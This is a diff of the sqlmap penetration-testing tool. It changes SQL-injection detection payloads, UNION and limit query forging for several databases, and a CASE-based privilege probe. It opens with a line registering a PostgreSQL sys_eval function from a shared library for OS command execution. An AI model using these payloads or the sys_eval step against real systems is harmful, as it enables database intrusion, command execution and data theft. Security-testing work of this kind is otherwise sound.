CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
BIN
extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
Normal file
BIN
extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
Normal file
Binary file not shown.
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,6 +5,8 @@ $Id$
|
||||
|
||||
02/2006 Will Holcomb <wholcomb@gmail.com>
|
||||
|
||||
Reference: http://odin.himinbi.org/MultipartPostHandler.py
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
@@ -14,6 +16,10 @@ This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -71,11 +71,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
if trueResult == True:
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "confirming custom injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -83,7 +83,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "custom injectable "
|
||||
logger.info(infoMsg)
|
||||
@@ -97,11 +97,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
if trueResult == True:
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "confirming unescaped numeric injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -109,7 +109,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "unescaped numeric injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -128,11 +128,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
if trueResult == True:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "confirming single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -140,7 +140,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "single quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -159,11 +159,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
if trueResult == True:
|
||||
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "confirming LIKE single quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -171,7 +171,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "LIKE single quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -190,11 +190,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
if trueResult == True:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "confirming double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -202,7 +202,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "double quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -221,11 +221,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||
trueResult = Request.queryPage(payload, place)
|
||||
|
||||
if trueResult == kb.defaultResult:
|
||||
if trueResult == True:
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "confirming LIKE double quoted string injection "
|
||||
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||
logger.info(infoMsg)
|
||||
@@ -233,7 +233,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
|
||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||
falseResult = Request.queryPage(payload, place)
|
||||
|
||||
if falseResult != kb.defaultResult:
|
||||
if falseResult != True:
|
||||
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||
infoMsg += "LIKE double quoted string injectable "
|
||||
infoMsg += "with %d parenthesis" % parenthesis
|
||||
@@ -262,7 +262,7 @@ def checkDynParam(place, parameter, value):
|
||||
payload = agent.payload(place, parameter, value, str(randInt))
|
||||
dynResult1 = Request.queryPage(payload, place)
|
||||
|
||||
if kb.defaultResult == dynResult1:
|
||||
if True == dynResult1:
|
||||
return False
|
||||
|
||||
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||
@@ -274,8 +274,8 @@ def checkDynParam(place, parameter, value):
|
||||
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
|
||||
dynResult3 = Request.queryPage(payload, place)
|
||||
|
||||
condition = kb.defaultResult != dynResult2
|
||||
condition |= kb.defaultResult != dynResult3
|
||||
condition = True != dynResult2
|
||||
condition |= True != dynResult3
|
||||
|
||||
return condition
|
||||
|
||||
@@ -295,68 +295,20 @@ def checkStability():
|
||||
logger.info(infoMsg)
|
||||
|
||||
firstPage, firstHeaders = Request.queryPage(content=True)
|
||||
time.sleep(0.5)
|
||||
time.sleep(1)
|
||||
|
||||
secondPage, secondHeaders = Request.queryPage(content=True)
|
||||
time.sleep(0.5)
|
||||
|
||||
thirdPage, thirdHeaders = Request.queryPage(content=True)
|
||||
|
||||
condition = firstPage == secondPage
|
||||
condition &= secondPage == thirdPage
|
||||
|
||||
if condition == False:
|
||||
# Prepare for the comparison algorithm based on Content-Length
|
||||
# header value
|
||||
contentLengths = []
|
||||
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
|
||||
|
||||
for requestHeaders in requestsHeaders:
|
||||
requestHeaders = str(requestHeaders).lower()
|
||||
|
||||
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
|
||||
|
||||
if clHeader and clHeader.group(1).isdigit():
|
||||
contentLengths.append(int(clHeader.group(1)))
|
||||
|
||||
if contentLengths:
|
||||
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
|
||||
|
||||
warnMsg = "url is not stable, sqlmap inspected the headers "
|
||||
warnMsg += "and identified that Content-Length can be used "
|
||||
warnMsg += "in the comparison algorithm"
|
||||
warnMsg = "url is not stable, sqlmap will base the page "
|
||||
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
||||
warnMsg += "injectable parameters are detected, refer to user's "
|
||||
warnMsg += "manual paragraph 'Page comparison' and provide a "
|
||||
warnMsg += "string or regular expression to match on"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.defaultResult = True
|
||||
|
||||
return True
|
||||
|
||||
# Prepare for the comparison algorithm based on page content's
|
||||
# stable lines subset
|
||||
counter = 0
|
||||
firstLines = firstPage.split("\n")
|
||||
secondLines = secondPage.split("\n")
|
||||
thirdLines = thirdPage.split("\n")
|
||||
|
||||
for firstLine in firstLines:
|
||||
if counter > len(secondLines) or counter > len(thirdLines):
|
||||
break
|
||||
|
||||
if firstLine in secondLines and firstLine in thirdLines:
|
||||
conf.equalLines.append(firstLine)
|
||||
|
||||
counter += 1
|
||||
|
||||
if conf.equalLines:
|
||||
warnMsg = "url is not stable, sqlmap inspected the page "
|
||||
warnMsg += "content and identified a stable lines subset "
|
||||
warnMsg += "to be used in the comparison algorithm"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.defaultResult = True
|
||||
|
||||
return True
|
||||
|
||||
if condition == True:
|
||||
logMsg = "url is stable"
|
||||
logger.info(logMsg)
|
||||
@@ -432,11 +384,16 @@ def checkConnection():
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
kb.defaultResult = Request.queryPage()
|
||||
page, _ = Request.getPage()
|
||||
conf.seqMatcher.set_seq1(page)
|
||||
|
||||
except sqlmapConnectionException, exceptionMsg:
|
||||
exceptionMsg = str(exceptionMsg)
|
||||
|
||||
if conf.multipleTargets:
|
||||
exceptionMsg += ", skipping to next url"
|
||||
logger.warn(exceptionMsg)
|
||||
|
||||
return False
|
||||
else:
|
||||
raise sqlmapConnectionException, exceptionMsg
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -175,18 +175,9 @@ def start():
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||
if not checkStability():
|
||||
errMsg = "url is not stable, try with --string or "
|
||||
errMsg += "--regexp options, refer to the user's manual "
|
||||
errMsg += "paragraph 'Page comparison' for details"
|
||||
|
||||
if conf.multipleTargets:
|
||||
errMsg += ", skipping to next url"
|
||||
logger.warn(errMsg)
|
||||
|
||||
continue
|
||||
else:
|
||||
raise sqlmapConnectionException, errMsg
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
checkStability()
|
||||
|
||||
for place in conf.parameters.keys():
|
||||
if not conf.paramDict.has_key(place):
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -81,6 +81,14 @@ class Agent:
|
||||
return retValue
|
||||
|
||||
|
||||
def fullPayload(self, query):
|
||||
query = self.prefixQuery(query)
|
||||
query = self.postfixQuery(query)
|
||||
payload = self.payload(newValue=query)
|
||||
|
||||
return payload
|
||||
|
||||
|
||||
def prefixQuery(self, string):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
@@ -176,6 +184,9 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if field.startswith("(CASE"):
|
||||
nulledCastedField = field
|
||||
else:
|
||||
nulledCastedField = queries[kb.dbms].cast % field
|
||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||
|
||||
@@ -246,15 +257,10 @@ class Agent:
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
firstChar = "\\("
|
||||
else:
|
||||
firstChar = "\\A"
|
||||
|
||||
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
|
||||
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
|
||||
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
|
||||
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
if fieldsSelectTop:
|
||||
@@ -271,10 +277,11 @@ class Agent:
|
||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||
fieldsToCastList = fieldsToCastList.split(",")
|
||||
|
||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
fieldsSelectFrom = None
|
||||
# TODO: really needed?!
|
||||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
||||
# fieldsSelectFrom = None
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
@@ -306,7 +313,7 @@ class Agent:
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||
|
||||
@@ -320,24 +327,25 @@ class Agent:
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
|
||||
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery += "||'%s'" % temp.stop
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||
concatQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectFrom:
|
||||
if fieldsSelectTop:
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
|
||||
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
@@ -382,6 +390,11 @@ class Agent:
|
||||
|
||||
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||
|
||||
if query.startswith("TOP"):
|
||||
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||
query = query[len("TOP %s " % topNum):]
|
||||
inbandQuery += "TOP %s " % topNum
|
||||
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
@@ -393,32 +406,28 @@ class Agent:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[:conditionIndex]
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += "%s" % query
|
||||
inbandQuery += query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
|
||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[conditionIndex:]
|
||||
if " FROM " in query and not query.startswith("SELECT "):
|
||||
conditionIndex = query.index(" FROM ")
|
||||
inbandQuery += query[conditionIndex:]
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if " ORDER BY " in inbandQuery:
|
||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
||||
inbandQuery = inbandQuery[:orderIndex]
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
||||
def limitQuery(self, num, query, fieldsList=None):
|
||||
def limitQuery(self, num, query, field):
|
||||
"""
|
||||
Take in input a query string and return its limited query string.
|
||||
|
||||
@@ -433,8 +442,8 @@ class Agent:
|
||||
@param query: query to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@param fieldsList: list of fields within the query
|
||||
@type fieldsList: C{list}
|
||||
@param field: field within the query
|
||||
@type field: C{list}
|
||||
|
||||
@return: limited query string
|
||||
@rtype: C{str}
|
||||
@@ -451,22 +460,67 @@ class Agent:
|
||||
limitedQuery += " %s" % limitStr
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
|
||||
if query.startswith("SELECT "):
|
||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
else:
|
||||
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
||||
limitedQuery = limitedQuery % fromFrom
|
||||
limitedQuery += "=%d" % (num + 1)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if re.search(" ORDER BY ", limitedQuery, re.I):
|
||||
untilOrderChar = limitedQuery.index(" ORDER BY ")
|
||||
limitedQuery = limitedQuery[:untilOrderChar]
|
||||
forgeNotIn = True
|
||||
|
||||
if " ORDER BY " in limitedQuery:
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
|
||||
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
||||
|
||||
if topNums:
|
||||
topNums = topNums.groups()
|
||||
quantityTopNums = topNums[0]
|
||||
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
||||
startTopNums = topNums[1]
|
||||
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
||||
forgeNotIn = False
|
||||
else:
|
||||
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||
|
||||
if forgeNotIn == True:
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||
else:
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
|
||||
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||
|
||||
return limitedQuery
|
||||
|
||||
|
||||
def forgeCaseStatement(self, expression):
|
||||
"""
|
||||
Take in input a query string and return its CASE statement query
|
||||
string.
|
||||
|
||||
Example:
|
||||
|
||||
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
||||
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
||||
|
||||
@param expression: expression to be processed
|
||||
@type num: C{str}
|
||||
|
||||
@return: processed expression
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
return queries[kb.dbms].case % expression
|
||||
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
|
||||
@@ -5,7 +5,7 @@ $Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
@@ -40,6 +40,7 @@ from lib.core.data import logger
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
@@ -493,39 +494,15 @@ def parsePasswordHash(password):
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
# SQL SELECT statement
|
||||
upperQuery = query.replace("select ", "SELECT ")
|
||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
||||
upperQuery = upperQuery.replace(" where ", " WHERE ")
|
||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
||||
